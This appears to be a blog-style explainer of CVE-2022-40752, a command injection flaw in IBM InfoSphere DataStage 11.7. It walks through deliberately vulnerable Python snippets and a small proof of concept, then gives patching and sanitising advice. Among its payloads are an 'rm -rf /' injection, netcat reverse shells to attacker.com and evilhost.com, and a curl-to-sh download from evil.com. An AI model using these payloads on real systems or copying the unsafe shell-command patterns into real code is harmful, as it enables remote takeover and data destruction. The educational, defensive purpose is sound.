CVE-2022-40752 - Hands-On Look at Command Injection in IBM InfoSphere DataStage 11.7

Command Injection vulnerabilities mean that attackers can run their own code on your system. When this happens in big enterprise tools like IBM InfoSphere DataStage 11.7, the impact can be huge. In this article, we're breaking down CVE-2022-40752, showing how it works, how you might spot it, and linking to the best references out there. If you're using DataStage in your company, or just want to know how command injection attacks happen, this one's for you.

What Is CVE-2022-40752?

CVE-2022-40752 is an OS Command Injection vulnerability in IBM InfoSphere DataStage 11.7. A bug in how it handles “special elements” (like &, |, ;, etc.) lets remote attackers trick the system into running their code. IBM tracks this as X-Force ID: 236687.

Affected product: IBM InfoSphere DataStage for IBM Cloud Pak for Data 11.7
Vulnerability type: OS Command Injection
Impact: Remote code execution (attackers can do almost anything on the system)

Official advisory: IBM Security Bulletin: CVE-2022-40752

How Does Command Injection Happen Here?

In many enterprise applications, user input is used to build system commands. If these inputs are not “neutralized” (made safe), an attacker can add their own shell commands.

Imagine an input that asks for a file name, and this value is just glued into a system command line without checks:

import os

def run_task(filename):
    # BAD: User input directly used in command!
    os.system("cat " + filename)

# Imagine filename comes from user input, like a web form.

An attacker could enter:
test.txt; rm -rf /

So the command becomes:
cat test.txt; rm -rf /

Now, the system not only reads the file, but deletes everything.

How Could This Happen in DataStage?

Let’s imagine a (simplified) DataStage process where job parameters accepted via a web interface are used to call system commands:

import subprocess

def run_datastage_job(input_value):
    # Unsafe: input_value from user goes straight into command
    command = f"/opt/ibm/datastage_run --input {input_value}"
    subprocess.call(command, shell=True)  # Dangerous!

# Attacker input: something.txt;nc attacker.com 4444 -e /bin/sh

What an attacker could do

They could enter an input like:
somefile.txt; nc attacker.com 4444 -e /bin/sh

This would run the attacker's Netcat shell right on your DataStage host.

Let's put this together with a practical example (for research/education)

Assumptions:

The backend runs a shell command like cat [filename] with your input.

Malicious input:
somefile.txt; curl http://evil.com/do.sh | sh

Now, DataStage runs:
cat somefile.txt; curl http://evil.com/do.sh | sh

The attacker now executes their own shell script downloaded from evil.com.

Proof-of-concept exploit (Python)

import requests

target_url = "https://datastage.example.com/api/job";  # Fictitious endpoint

malicious_input = "normal.txt; nc evilhost.com 1234 -e /bin/bash"
payload = {"filename": malicious_input}

response = requests.post(target_url, data=payload)
print(response.text)

> Warning: Never run exploit code on systems you don't own or have permission to test. This is for educational use only!

Any attacker with access to the DataStage user interface can potentially run system commands.

- May pivot into the rest of your data infrastructure, steal data, set up ransomware, or use your server for attacks.

Upgrade immediately: IBM released patches for DataStage 11.7. Always keep systems updated!

IBM Fix details

Use parameterized commands: Don’t stick raw user input into system commands.

- Validate and sanitize inputs: Remove/escape shell metacharacters (&, |, ;, etc.).

In Summary

CVE-2022-40752 shows how critical it is to never trust user input when rolling your own system commands, even in trusted enterprise platforms. Updates exist, so patch quickly! Want to stay safe? Sanitize, update, and always code defensively—because attackers only need one slip-up.

Stay secure out there!

*This post is exclusive—please link to original sources and always follow ethical guidelines when handling vulnerabilities.*

Timeline

Published on: 11/16/2022 23:15:00 UTC
Last modified on: 11/20/2022 13:23:00 UTC